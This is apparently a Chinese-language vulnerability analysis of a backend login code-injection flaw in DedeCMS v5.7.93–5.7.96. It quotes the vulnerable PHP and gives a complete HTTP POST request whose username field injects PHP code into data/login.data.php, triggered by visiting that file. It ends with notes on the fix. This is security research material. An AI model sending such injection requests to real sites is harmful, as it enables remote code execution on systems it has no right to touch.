影响版本: DedeCMS v5.7.93 - v5.7.96
漏洞产生原因: 在后台登录功能处,没有对用户名进行过滤,导致用户可以从用户名处注入恶意代码。
漏洞代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
<?php $filename = DEDEDATA.'/login.data.php';
$count = 1; $timestamp = time(); if ($arr_login[$userid] != '') { $count = explode(',', $arr_login[$userid])[0] + 1; if ($count > $fail_limit) { $count = 1; } } $arr_login[$userid] = "{$count},{$timestamp}"; $content = "<?php\r\n\$str_login='".json_encode($arr_login)."';";
$fp = fopen($filename, 'w') or die("写入文件 $filename 失败,请检查权限!"); fwrite($fp, $content); fclose($fp);
|
就是完全没有对用户名进行过滤,还把用户名写到了 login.data.php
里面
直接构造代码注入即可
1 2 3 4 5 6
| POST /dede/login.php HTTP/1.1 Host: dedecms5793 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=e9ag7oevkh77gnko3cdmt7mbc2
dopost=login&userid=\'.phpinfo();?>&pwd=123&validate=hw0k
|
然后访问 http://example.com/data/login.data.php
就可以触发注入的代码了
思考:
- 该漏洞如何修复的?
对用户名和密码进行了过滤,并且增添了一个登录失败的处理方式
1 2 3 4 5 6
| else if($res==-1) { ResetVdValue(); ShowMsg('用户名或者密码错误!','login.php',0,1000); exit; }
|
- 还有其它类似的漏洞触发点吗?
没有找到。